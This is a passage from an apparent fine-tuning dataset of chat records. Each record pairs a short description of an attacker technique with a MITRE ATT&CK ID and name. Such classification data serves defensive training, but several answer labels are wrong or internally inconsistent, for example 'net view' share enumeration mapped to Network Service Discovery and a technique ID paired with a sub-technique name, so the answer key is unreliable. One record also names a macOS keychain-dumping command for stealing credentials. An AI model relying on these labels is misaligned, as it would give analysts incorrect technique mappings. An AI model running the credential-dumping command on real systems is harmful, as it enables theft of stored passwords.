                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses steganographic techniques to embed an encrypted configuration file within a harmless‑looking image."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised edge devices was used to launch amplification attacks against external targets."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses audio steganography, embedding encrypted command-and-control messages within WAV files streamed over the network."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code issues DNS resolution requests to a custom domain, using the returned IP to establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Android RAT loads its core module using reflective code loading, pulling the code from a remote server into RAM and executing it without a disk footprint."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing insecure ACLs on an executable installer, the threat actor drops a malicious binary that is executed during software installation."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document uses the Windows Management Instrumentation (WMI) to pull commands from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF exploits a vulnerability in Acrobat Reader, allowing arbitrary code execution when the document is opened."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a system, the group copies exfiltration targets into a newly created subdirectory under %USERPROFILE%\\Documents\\staging."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages XSL script processing to run PowerShell commands via a poisoned XSL document."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries apply a non‑standard UTF‑16 little‑endian transformation to exfiltrated files before transmitting them over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is added to the Windows Logon scripts policy to execute on user login."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document prompts users to enter their credentials, which are then exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cybercriminal sent a phishing email with a macro that, when enabled, ran a script to permanently delete all user documents."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchase expired domains with high authority and publish spam content containing keywords related to banking, directing search engine traffic to credential harvesting sites."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker disables Command Prompt logging by changing the registry value HKLM\\Software\\Microsoft\\Command Processor\\AutoRun to an empty string."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor harvested credentials and used the GitHub REST API to create a secret gist containing the data."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor changes the PATH environment variable in a service's startup script, causing the service to load a compromised executable from a hostile location."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the 'net view' command to gather a list of computers and shared folders within the domain."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates running processes, selects a high-privilege service, and injects a payload via the ListPlanting technique to hijack its execution flow."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor updates the HKCR\\.lnk\\shell\\open\\command registry entry to associate .lnk shortcuts with a payload, causing execution on shortcut click."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used nmap to scan the corporate subnet and enumerate open TCP services on each host."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a secure SSH tunnel through a compromised host to reach internal services."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the \"dd\" command to overwrite the entire disk, destroying the partition layout and all file system metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor compromises the domain registrar account and changes the authoritative name servers to point to attacker-controlled DNS servers."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a known vulnerability in Microsoft Exchange's RPC over HTTP service to execute code on the server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script spawns a child process with the same executable name as a system utility and sets its parent process ID to that of a known safe process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs a cleanup module that erases DHCP lease records and removes network interface configuration files."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering intelligence on a target organization's supply chain and third-party vendors."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program reads password entries from the Linux GNOME Keyring on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake internal newsletter is emailed to all employees, containing a link that leads to a credential‑phishing website."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the WMI service to install a new service that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor updates the system's authentication database, adding accounts with elevated privileges to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends crafted packets to trigger NAT mapping, then reuses the mapping for exfiltrating data from the internal network."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware forces the victim application to downgrade encryption from AES‑256 to DES by altering the cryptographic library parameters."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection employs the ShowWindow function with SW_MINIMIZE and SW_HIDE to keep its window hidden from the user interface."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits an unquoted service binary path by inserting its own program earlier in the PATH, leading to execution of the malicious code during service startup."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Packed binary with runtime decryption was used to deliver the ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor conducts a wordlist‑driven enumeration of URLs to find forgotten admin pages on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Winlogon registry key to point to a rogue password filter DLL, letting them harvest clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion attempts to inject code into a legitimate service using the Windows API function QueueUserAPC after suspending the thread."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample performed an internal network scan to locate MySQL and PostgreSQL services for potential credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to a fake login page that harvests the victim’s credentials."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker utilizes a flaw in the Windows Remote Management (WinRM) service to execute PowerShell commands on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rogue proxy installed on a domain controller, the adversary redirects internal traffic to exfiltration servers."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document captures the user's Windows credentials when the document is opened."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable API endpoint to upload a web shell that can be used for further commands."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan extracts browser history and posts it to a public pastebin.com page via an unauthenticated HTTP POST."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured cloud function, the attacker triggered an automated workflow that erased all configured cloud instances."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the IIS FTP service to upload a rogue configuration file that granted the attacker elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a deserialization vulnerability in a Java application, causing it to hang and deny service on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing a DCSync request, the threat actor obtains the password hashes of high‑privilege accounts from Active Directory without needing local admin rights."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline adds a privileged role to the build agent's service account, allowing it to modify cluster resources."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set opens a new email account on a free provider, linking it to a previously compromised botnet for command traffic."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group implements a reversible encryption scheme for stored credentials, permitting the attacker to retrieve original passwords after authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed the cacls.exe command to change file permissions on credential stores, making them world-readable for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker checks the BIOS clock via BIOS interrupt to acquire the machine's current time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the encrypted Keychain database, then uses the user’s login password to decrypt and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads /proc/self/status and /proc/[pid]/cmdline of other users' processes to capture authentication credentials stored in memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a compromised bootable USB image that, when connected, automatically installs a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sends HTTP POST requests with fake User-Agent strings to blend with normal web browsing, while exfiltrating files."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After achieving their objective, the intruder removes all persistence markers, including services and scheduled jobs."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Rubeus, the threat actor harvests AS‑REP data from domain controllers for users that have Kerberos pre‑authentication disabled, aiming to crack the resulting hashes offline."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group configures a persistent reverse proxy through Azure Bastion to access internal network resources from an external location."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the malware scans for Bluetooth-enabled devices and pushes sensitive data to the first device it discovers."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man-in-the-middle attack, the adversary replaces the session key of an active Secure Shell (SSH) tunnel, gaining full control of the session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion involves Kerberoasting: the attacker steals service tickets for domain service accounts and cracks the resulting hashes to gain elevated credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑actors intercept the OS update process and inject a malicious patch into the system image before it is applied."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor monitors public LinkedIn profiles of target employees to collect personal details and job titles for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scrapes the local MBOX files used by Evolution mail client and sends the archive to an external IP."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing utility on macOS calls 'security dump-keychain -d' to retrieve all passwords for later use."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan performs a time‑based check, waiting for a predetermined period after system startup before contacting its C2 server, to reduce the chance of being caught in short sandbox sessions."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy exfiltration tool is configured to respect a daily transfer cap of 15 MB, spreading the theft across multiple days."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Group purchases a botnet service to generate distributed denial‑of‑service capabilities."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a scheduled task to run a credential fetcher that reads Windows Credential Manager entries."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
